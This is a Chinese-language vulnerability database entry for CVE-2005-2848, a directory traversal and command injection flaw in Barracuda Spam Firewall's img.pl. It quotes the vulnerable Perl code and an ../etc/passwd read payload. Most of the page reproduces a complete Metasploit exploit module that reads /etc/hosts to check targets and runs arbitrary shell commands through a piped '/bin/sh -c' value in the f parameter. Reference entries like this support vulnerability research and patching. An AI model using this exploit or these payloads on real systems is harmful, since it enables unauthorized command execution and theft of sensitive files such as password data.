CVE-2005-2848
CVSS5.0
发布时间 :2005-09-08 06:03:00
修订时间 :2016-10-17 23:30:48
NMCE    

[原文]Directory traversal vulnerability in img.pl in Barracuda Spam Firewall running firmware 3.1.16 and 3.1.17 allows remote attackers to read arbitrary files via a .. (dot dot) in the f parameter.


[CNNVD]Barracuda Spam Firewall img.pl远程目录遍历漏洞(CNNVD-200509-088)

        Barracuda Spam Firewall是用于保护邮件服务器的集成硬件和软件垃圾邮件解决方案。
        Barracuda Spam Firewall中存在目录遍历漏洞。img.pl脚本在用户读取完文件会试图断开文件。在/cgi-bin/img.pl脚本中:
        my $file_img="/tmp/".CGI::param(';f');
        open (IMG, $file_img) or die "Could not open image because: $!\n";
        ...
        unlink ($file_img);
        perl open函数还可以用于执行命令。如果字符串以"|"结束的话,脚本就会执行命令,将输出管道传输到IMG文件描述符。
        文件检索:
        f=../etc/passwd
        攻击者可以利用这个漏洞获取管理员口令之类的敏感信息。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/h:barracuda_networks:barracuda_spam_firewall:3.1.16
cpe:/h:barracuda_networks:barracuda_spam_firewall:3.1.17

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2848
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2848
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200509-088
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=112560044813390&w=2
(UNKNOWN)  BUGTRAQ  20050901 [SecuriWeb.2005.1] - Barracuda SPAM firewall advisory
http://securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1
(VENDOR_ADVISORY)  MISC  http://securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1
http://www.securityfocus.com/bid/14710
(PATCH)  BID  14710
http://www.securitytracker.com/alerts/2005/Sep/1014837.html
(VENDOR_ADVISORY)  SECTRACK  1014837
http://xforce.iss.net/xforce/xfdb/22120
(PATCH)  XF  barracuda-img-command-execute(22120)

- 漏洞信息

Barracuda Spam Firewall img.pl远程目录遍历漏洞
中危 路径遍历
2005-09-08 00:00:00 2006-08-23 00:00:00
远程  
        Barracuda Spam Firewall是用于保护邮件服务器的集成硬件和软件垃圾邮件解决方案。
        Barracuda Spam Firewall中存在目录遍历漏洞。img.pl脚本在用户读取完文件会试图断开文件。在/cgi-bin/img.pl脚本中:
        my $file_img="/tmp/".CGI::param(';f');
        open (IMG, $file_img) or die "Could not open image because: $!\n";
        ...
        unlink ($file_img);
        perl open函数还可以用于执行命令。如果字符串以"|"结束的话,脚本就会执行命令,将输出管道传输到IMG文件描述符。
        文件检索:
        f=../etc/passwd
        攻击者可以利用这个漏洞获取管理员口令之类的敏感信息。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        http://www.barracudanetworks.com/ns/products/spam_overview.php

- 漏洞信息 (1236)

Barracuda Spam Firewall < 3.1.18 Command Execution Exploit (meta) (EDBID:1236)
cgi webapps
2005-09-27 Verified
0 Nicolas Gregoire
N/A [点击下载]
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::barracuda_img_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
	'Name'     => 'Barracuda IMG.PL Remote Command Execution',
	'Version'  => '$Revision: 1.0 $',
	'Authors'  => [ 'Nicolas Gregoire <ngregoire@exaprobe.com>' ],
	'Arch'     => [ 'x86' ],
	'OS'       => [ 'linux' ],
	'Priv'     => 0,
	'UserOpts' =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 8000],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'IMG'   => [1, 'DATA', 'Full path of img.pl script', '/cgi-bin/img.pl'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Description' => Pex::Text::Freeform(qq{
		This module exploits an arbitrary command execution vulnerability in the
		Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
}),

	'Refs' =>
	  [
		['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
		['CVE', '2005-2847'],
		['OSVDB', '19279'],
		['BID', '14712'],
		['NSS', '19556'],
	  ],

	'Payload' =>
	  {
		'Space' => 512,
		'Keys'  => ['cmd'],
	  },

	'Keys' => ['barracuda'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;
	my $target_host    = $self->GetVar('RHOST');
	my $vhost          = $self->VHost;
	my $target_port    = $self->GetVar('RPORT');
	my $img            = $self->GetVar('IMG');

	my $request =
	  "GET $img?f=%2e%2e/etc/hosts HTTP/1.1\r\n".
	  "Accept: */*\r\n".
	  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
	  "Host: $vhost:$target_port\r\n".
	  "Connection: Close\r\n".
	  "\r\n";

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr' => $target_host,
		'PeerPort' => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return $self->CheckCode('Connect');
	}

	$self->PrintLine("[*] Establishing a connection to the target...");

	$s->Send($request);
	my $results = $s->Recv(-1, 20);
	$s->Close();
	
	if (($results =~ /HTTP\/1\..\s+200/) && ($results =~/127\.0\.0\.1/)) {

		$self->PrintLine("[*] Vulnerable server detected!");
		return $self->CheckCode('Confirmed');
		
	} elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

		$self->PrintLine("[*] The Barraccuda application was not found.");
		return $self->CheckCode('Safe');
	}

	$self->PrintLine("[*] Generic error...");
	return $self->CheckCode('Generic');
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self->GetVar('RHOST');
	my $vhost          = $self->VHost;
	my $target_port    = $self->GetVar('RPORT');
	my $img            = $self->GetVar('IMG');
	my $encodedPayload = $self->GetVar('EncodedPayload');
	my $cmd            = $encodedPayload->RawPayload;

	$img = $img."?f=".$self->URLEncode(qq#../bin/sh -c "echo 'YYY';#. $cmd .qq#;echo 'YYY'"|#);

	my $request =
	  "GET $img HTTP/1.1\r\n".
	  "Accept: */*\r\n".
	  "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
	  "Host: $vhost:$target_port\r\n".
	  "Connection: Close\r\n".
	  "\r\n";

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr' => $target_host,
		'PeerPort' => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$self->PrintLine("[*] Establishing a connection to the target...");
	$s->Send($request);
	my $results = $s->Recv(-1, 20);
	
	if ($results =~ /HTTP\/1\.. 200 OK/im) {

		(undef, $results) = split(/YYY/, $results);
		
		$self->PrintLine(' ');
		$self->PrintLine("$results");
		$self->PrintLine(' ');

		$self->PrintLine("[*] End of data.");

	} else {
		$self->PrintLine(' ');
		$self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
	}

	$s->Close();
	return;
}

sub URLEncode {
	my $self = shift;
	my $data = shift;
	my $res;

	foreach my $c (unpack('C*', $data)) {
		if (
			($c >= 0x30 && $c <= 0x39) ||
			($c >= 0x41 && $c <= 0x5A) ||
			($c >= 0x61 && $c <= 0x7A)
		  ) {
			$res .= chr($c);
		} else {
			$res .= sprintf("%%%.2x", $c);
		}
	}
	return $res;
}

sub VHost {
	my $self = shift;
	my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
	return $name;
}

1;

# milw0rm.com [2005-09-27]
		
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站